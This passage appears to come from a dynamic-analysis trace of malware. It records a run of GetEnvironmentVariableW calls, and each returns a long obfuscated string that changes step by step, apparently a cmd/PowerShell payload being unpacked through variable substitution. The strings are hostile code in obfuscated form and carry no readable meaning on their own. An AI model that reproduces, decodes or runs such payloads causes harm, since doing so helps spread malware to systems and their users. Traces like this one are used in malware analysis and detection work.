''H2+24ax(2+2))\\F3pbfbfk7yuuQI2+2GC7y2+2GC7y6KF3pbfbfk7yuuQI37s'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQI76xd2+2F3pbf2+2bfk7yuuQI_2+2)[F3pbfbfk7yuuQImQI2+2{F3pbfbfk7yuuQI2+2_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQIGC7yGC7y'u-3QI96n37jUn5):jUnbf)-3QI9X]2+21F3pbfbfk7yuuQIGC7y2+2GC7y'6wL.Y-3QI96n37.YjUn5))}2+2}[2+2I2+2wLXb12+2{jh`sGC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2.2+2Pjy8 8 7Kjh7yjU6II'2+26wL8PGC7yjh2+2GC7y]Zn.1F3pbfbf2+2k7yuuQI2+2mQI{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL1296726xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&.Ys8P%.Y.Y6jUI/`6KwL,%zwLhPj.Y1.Z.YF3pbf6RI7K3QI93p8P8 8P:XbGC7y)'7y6TdvwL'InF3pbfPjQIwL7yjU6XmuQI6njU'IqF3pbfN7yPjQI8Ps7yjU6RZGC7yy%11Tdjh.Y8PqF3pbfN7y8 s3Td]7y)'F3pbf6Td38P.Y.Y).Y.Y^^^|GC7yyPj4wLRsh8PZ7ywL3pTd.Y.Y-nXqF3pbfNZqF3pbfN%wL]67yjU6%I.Y.Y-qF3pbfNX3pPj.Y-4ZqF3pbfN.Y%zwLhI37378Pn.Y-8P78P,v%IPjqF3pbfNk7yPjTdI,.Y3QI9`GC7yy7Kjhjh.Y.Y-nPjGC7yy]PjzwLhI3p8P.Y.Y-7yjU6PjmuQI7KqF3pbfN37.Y.Y.Y.Y.Y^^^^^^^&1.Y@8PqF3pbfN7y8 7yjU6XmsGC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXIn22)1@Znk7yv%.Y).Y.Y^&^&.Y.Y,m37'8P7wL.Y.Y.Y,.,.Yo637Z/T.o") returned 0x7c0
	[0057.013] GetEnvironmentVariableW (in: lpName="@+*", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="s8PGC7ygYgYsvTd]F3pbf6K'gY1gY@sh8PZ7y8P3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+2Xb2)gY112s2+263pgYF3p2+2]2+2gYqF3pbfN2+28P4-Pj3QI9h8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8PgY-7Ks2+2s8Pm3QI93p`2+2qF3pbfN6m8PgY967jh`sGC7y8Pm'jU]62+242+2Zng967[2+2F3pbfbfk7yuuQI37s2+26KF3p]gYjh`sGC7y8P2+2m'2+2jU]64Zn2+2g'u2+2ZGC7ym6k7y11F3p]gYqF3pbfN8PGC7y'a2+28P3QI97yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371962+272+2%zwLhGC7yGC7yk7ys8 ,g,gZm6g2+28Ps4ax'Zmg3QI9X2+27',X2+2m,g9 ,gF3pjUn,g2+2g6GC7y4axuQI7ysK_X'2+2k7yng9672+2))[2+2F3pbfbfk7yuuQI2+2mQI6KF3p]gYu`2+2GC7y2+28P{PjygY2+24axjUnH [1 '2+2'H)3QI92+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQI7gYZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQI2+2GC7y2+2GC7y6KF3pbfbfk7yuuQI37s'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQI76xd2+2F3pbf2+2bfk7yuuQI_2+2)[F3pbfbfk7yuuQImQI2+2{F3pbfbfk7yuuQI2+2_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQIGC7yGC7y'u-3QI96n37jUn5):jUnbf)-3QI9X]2+21F3pbfbfk7yuuQIGC7y2+2GC7y'6wLgY-3QI96n37gYjUn5))}2+2}[2+2I2+2wLXb12+2{jh`sGC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2g2+2Pjy8 8 7Kjh7yjU6II'2+26wL8PGC7yjh2+2GC7y]Zng1F3pbfbf2+2k7yuuQI2+2mQI{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL1296726xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYs8P%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93p8P8 8P:XbGC7y)'7y6TdvwL'InF3pbfPjQIwL7yjU6XmuQI6njU'IqF3pbfN7yPjQI8Ps7yjU6RZGC7yy%11TdjhgY8PqF3pbfN7y8 s3Td]7y)'F3pbf6Td38PgYgY)gYgY^^^|GC7yyPj4wLRsh8PZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI37378PngY-8P78P,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3p8PgYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@8PqF3pbfN7y8 7yjU6XmsGC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXIn22)1@Znk7yv%gY)gYgY^&^&gYgY,m37'8P7wLgYgYgY,g,gYo637Z/Tgo") returned 0x7c0
	[0057.014] GetEnvironmentVariableW (in: lpName="[{", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbf6K'gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+2Xb2)gY112s2+263pgYF3p2+2]2+2gYqF3pbfN2+2e4-Pj3QI9heZe,2+2GC7y2+2[2+27K2+23737-%2+2`k7yegY-7Ks2+2sem3QI93p`2+2qF3pbfN6megY967jh`sGC7yem'jU]62+242+2Zng967[2+2F3pbfbfk7yuuQI37s2+26KF3p]gYjh`sGC7ye2+2m'2+2jU]64Zn2+2g'u2+2ZGC7ym6k7y11F3p]gYqF3pbfNeGC7y'a2+2e3QI97yjU62+23pZenGC7y)'2+2Pjk7yenRe6371962+272+2%zwLhGC7yGC7yk7ys8 ,g,gZm6g2+2es4ax'Zmg3QI9X2+27',X2+2m,g9 ,gF3pjUn,g2+2g6GC7y4axuQI7ysK_X'2+2k7yng9672+2))[2+2F3pbfbfk7yuuQI2+2mQI6KF3p]gYu`2+2GC7y2+2e{PjygY2+24axjUnH [1 '2+2'H)3QI92+2jh2+2heZo\\F3pX]e6,%zwLh12+2F3pbf2+2bf2+2k7yuuQI7gYZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQI2+2GC7y2+2GC7y6KF3pbfbfk7yuuQI37s'6wLe2+2GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI76xd2+2F3pbf2+2bfk7yuuQI_2+2)[F3pbfbfk7yuuQImQI2+2{F3pbfbfk7yuuQI2+2_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQIGC7yGC7y'u-3QI96n37jUn5):jUnbf)-3QI9X]2+21F3pbfbfk7yuuQIGC7y2+2GC7y'6wLgY-3QI96n37gYjUn5))}2+2}[2+2I2+2wLXb12+2{jh`sGC7y2+2em'%e72+2GC7y'wL2+2n,X37Zn2+2g2+2Pjy8 8 7Kjh7yjU6II'2+26wLeGC7yjh2+2GC7y]Zng1F3pbfbf2+2k7yuuQI2+2mQI{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'Rek7y3p67yjU6wL1296726xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H)'Rek7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'Rek7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYse%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93pe8 e:XbGC7y)'7y6TdvwL'InF3pbfPjQIwL7yjU6XmuQI6njU'IqF3pbfN7yPjQIes7yjU6RZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y)'F3pbf6Td3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjU6XmsGC7yye,{H6xd4axH6xd4ax5Pjy-TdQXIn22)1@Znk7yv%gY)gYgY^&^&gYgY,m37'e7wLgYgYgY,g,gYo637Z/Tgo") returned 0x796
	[0057.015] GetEnvironmentVariableW (in: lpName="{@}", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbf6K.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+2Xb2)gY112s2+263pgYF3p2+2]2+2gYqF3pbfN2+2e4-Pj3QI9heZe,2+2GC7y2+2[2+27K2+23737-%2+2`k7yegY-7Ks2+2sem3QI93p`2+2qF3pbfN6megY967jh`sGC7yem.jU]62+242+2Zng967[2+2F3pbfbfk7yuuQI37s2+26KF3p]gYjh`sGC7ye2+2m.2+2jU]64Zn2+2g.u2+2ZGC7ym6k7y11F3p]gYqF3pbfNeGC7y.a2+2e3QI97yjU62+23pZenGC7y).2+2Pjk7yenRe6371962+272+2%zwLhGC7yGC7yk7ys8 ,g,gZm6g2+2es4ax.Zmg3QI9X2+27.,X2+2m,g9 ,gF3pjUn,g2+2g6GC7y4axuQI7ysK_X.2+2k7yng9672+2))[2+2F3pbfbfk7yuuQI2+2mQI6KF3p]gYu`2+2GC7y2+2e{PjygY2+24axjUnH [1 .2+2.H)3QI92+2jh2+2heZo\\F3pX]e6,%zwLh12+2F3pbf2+2bf2+2k7yuuQI7gYZn1 ..H2+24ax(2+2))\\F3pbfbfk7yuuQI2+2GC7y2+2GC7y6KF3pbfbfk7yuuQI37s.6wLe2+2GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI76xd2+2F3pbf2+2bfk7yuuQI_2+2)[F3pbfbfk7yuuQImQI2+2{F3pbfbfk7yuuQI2+2_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQIGC7yGC7y.u-3QI96n37jUn5):jUnbf)-3QI9X]2+21F3pbfbfk7yuuQIGC7y2+2GC7y.6wLgY-3QI96n37gYjUn5))}2+2}[2+2I2+2wLXb12+2{jh`sGC7y2+2em.%e72+2GC7y.wL2+2n,X37Zn2+2g2+2Pjy8 8 7Kjh7yjU6II.2+26wLeGC7yjh2+2GC7y]Zng1F3pbfbf2+2k7yuuQI2+2mQI{ .2+2.2+2jUn2+29 (2+2Pjy)2+2)2).Rek7y3p67yjU6wL1296726xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYse%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93pe8 e:XbGC7y).7y6TdvwL.InF3pbfPjQIwL7yjU6XmuQI6njU.IqF3pbfN7yPjQIes7yjU6RZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbf6Td3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjU6XmsGC7yye,{H6xd4axH6xd4ax5Pjy-TdQXIn22)1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYo637Z/Tgo") returned 0x796
	[0057.016] GetEnvironmentVariableW (in: lpName="\\{", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbf6K.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'63pgYF3p'+']'+'gYqF3pbfN'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3pbfN6megY967jh`sGC7yem.jU]6'+'4'+'Zng967['+'F3pbfbfk7yuuQI37s'+'6KF3p]gYjh`sGC7ye'+'m.'+'jU]64Zn'+'g.u'+'ZGC7ym6k7y11F3p]gYqF3pbfNeGC7y.a'+'e3QI97yjU6'+'3pZenGC7y).'+'Pjk7yenRe637196'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZm6g'+'es4ax.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'g6GC7y4axuQI7ysK_X.'+'k7yng967'+'))['+'F3pbfbfk7yuuQI'+'mQI6KF3p]gYu`'+'GC7y'+'e{PjygY'+'4axjUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]e6,%zwLh1'+'F3pbf'+'bf'+'k7yuuQI7gYZn1 ..H'+'4ax('+'))\\F3pbfbfk7yuuQI'+'GC7y'+'GC7y6KF3pbfbfk7yuuQI37s.6wLe'+'GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI76xd'+'F3pbf'+'bfk7yuuQI_'+')[F3pbfbfk7yuuQImQI'+'{F3pbfbfk7yuuQI'+'_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3pbfbf'+'k7yuuQIGC7yGC7y.u-3QI96n37jUn5):jUnbf)-3QI9X]'+'1F3pbfbfk7yuuQIGC7y'+'GC7y.6wLgY-3QI96n37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjU6II.'+'6wLeGC7yjh'+'GC7y]Zng1F3pbfbf'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3p67yjU6wL1'967'6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYse%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93pe8 e:XbGC7y).7y6TdvwL.InF3pbfPjQIwL7yjU6XmuQI6njU.IqF3pbfN7yPjQIes7yjU6RZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbf6Td3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjU6XmsGC7yye,{H6xd4axH6xd4ax5Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYo637Z/Tgo") returned 0x796
	[0057.018] GetEnvironmentVariableW (in: lpName="}],$", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbf6K.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'63pgYF3p'+']'+'gYqF3pbfN'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3pbfN6megY967jh`sGC7yem.jU]6'+'4'+'Zng967['+'F3pbfbfk7yuuQI37s'+'6KF3p]gYjh`sGC7ye'+'m.'+'jU]64Zn'+'g.u'+'ZGC7ym6k7y11F3p]gYqF3pbfNeGC7y.W'+'e3QI97yjU6'+'3pZenGC7y).'+'Pjk7yenRe637196'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZm6g'+'es4Wx.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'g6GC7y4WxuQI7ysK_X.'+'k7yng967'+'))['+'F3pbfbfk7yuuQI'+'mQI6KF3p]gYu`'+'GC7y'+'e{PjygY'+'4WxjUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]e6,%zwLh1'+'F3pbf'+'bf'+'k7yuuQI7gYZn1 ..H'+'4Wx('+'))\\F3pbfbfk7yuuQI'+'GC7y'+'GC7y6KF3pbfbfk7yuuQI37s.6wLe'+'GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI76xd'+'F3pbf'+'bfk7yuuQI_'+')[F3pbfbfk7yuuQImQI'+'{F3pbfbfk7yuuQI'+'_:H4Wxiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3pbfbf'+'k7yuuQIGC7yGC7y.u-3QI96n37jUn5):jUnbf)-3QI9X]'+'1F3pbfbfk7yuuQIGC7y'+'GC7y.6wLgY-3QI96n37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjU6II.'+'6wLeGC7yjh'+'GC7y]Zng1F3pbfbf'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3p67yjU6wL1'967'6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4WxH).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYse%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93pe8 e:XbGC7y).7y6TdvwL.InF3pbfPjQIwL7yjU6XmuQI6njU.IqF3pbfN7yPjQIes7yjU6RZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbf6Td3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjU6XmsGC7yye,{H6xd4WxH6xd4Wx5Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYo637Z/Tgo") returned 0x796
	[0057.019] GetEnvironmentVariableW (in: lpName="\\[", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbfaK.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'a3pgYF3p'+']'+'gYqF3pbfN'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3pbfNamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'F3pbfbfk7yuuQI37s'+'aKF3p]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11F3p]gYqF3pbfNeGC7y.W'+'e3QI97yjUa'+'3pZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es4Wx.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'gaGC7y4WxuQI7ysK_X.'+'k7yng9a7'+'))['+'F3pbfbfk7yuuQI'+'mQIaKF3p]gYu`'+'GC7y'+'e{PjygY'+'4WxjUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]ea,%zwLh1'+'F3pbf'+'bf'+'k7yuuQI7gYZn1 ..H'+'4Wx('+'))\\F3pbfbfk7yuuQI'+'GC7y'+'GC7yaKF3pbfbfk7yuuQI37s.awLe'+'GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI7axd'+'F3pbf'+'bfk7yuuQI_'+')[F3pbfbfk7yuuQImQI'+'{F3pbfbfk7yuuQI'+'_:H4Wxiy+F3pbfbfk7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3pbfbf'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUnbf)-3QI9X]'+'1F3pbfbfk7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1F3pbfbf'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3pa7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]Pjy9iy+{7yjUa%zwLh7K]Pjyiy#+{7yjUa%zwLh7K]PjyjUn bf)axd{s%RInawLPjy{7yjUa%zwLh7K]PjyjUn4WxH).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]PjyjUnjUniy+{7yjUa%zwLh7K]Pjy5H+{7yjUa%zwLh7K]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#bf))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYF3pbfaRI7K3QI93pe8 e:XbGC7y).7yaTdvwL.InF3pbfPjQIwL7yjUaXmuQIanjU.IqF3pbfN7yPjQIes7yjUaRZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbfaTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]a7yjUa%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjUaPjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjUaXmsGC7yye,{Haxd4WxHaxd4Wx5Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x796
	[0057.020] GetEnvironmentVariableW (in: lpName="`]$", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbfaK.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'a3pgYF3p'+']'+'gYqF3pbfN'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3pbfNamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'F3pbfbfk7yuuQI37s'+'aKF3p]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11F3p]gYqF3pbfNeGC7y.W'+'e3QI97yjUa'+'3pZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'F3pbfbfk7yuuQI'+'mQIaKF3p]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]ea,%zwLh1'+'F3pbf'+'bf'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\F3pbfbfk7yuuQI'+'GC7y'+'GC7yaKF3pbfbfk7yuuQI37s.awLe'+'GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI7axd'+'F3pbf'+'bfk7yuuQI_'+')[F3pbfbfk7yuuQImQI'+'{F3pbfbfk7yuuQI'+'_:H2iy+F3pbfbfk7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3pbfbf'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUnbf)-3QI9X]'+'1F3pbfbfk7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1F3pbfbf'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3pa7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]Pjy9iy+{7yjUa%zwLh7K]Pjyiy#+{7yjUa%zwLh7K]PjyjUn bf)axd{s%RInawLPjy{7yjUa%zwLh7K]PjyjUn2H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]PjyjUnjUniy+{7yjUa%zwLh7K]Pjy5H+{7yjUa%zwLh7K]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#bf))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYF3pbfaRI7K3QI93pe8 e:XbGC7y).7yaTdvwL.InF3pbfPjQIwL7yjUaXmuQIanjU.IqF3pbfN7yPjQIes7yjUaRZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbfaTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]a7yjUa%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjUaPjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x786
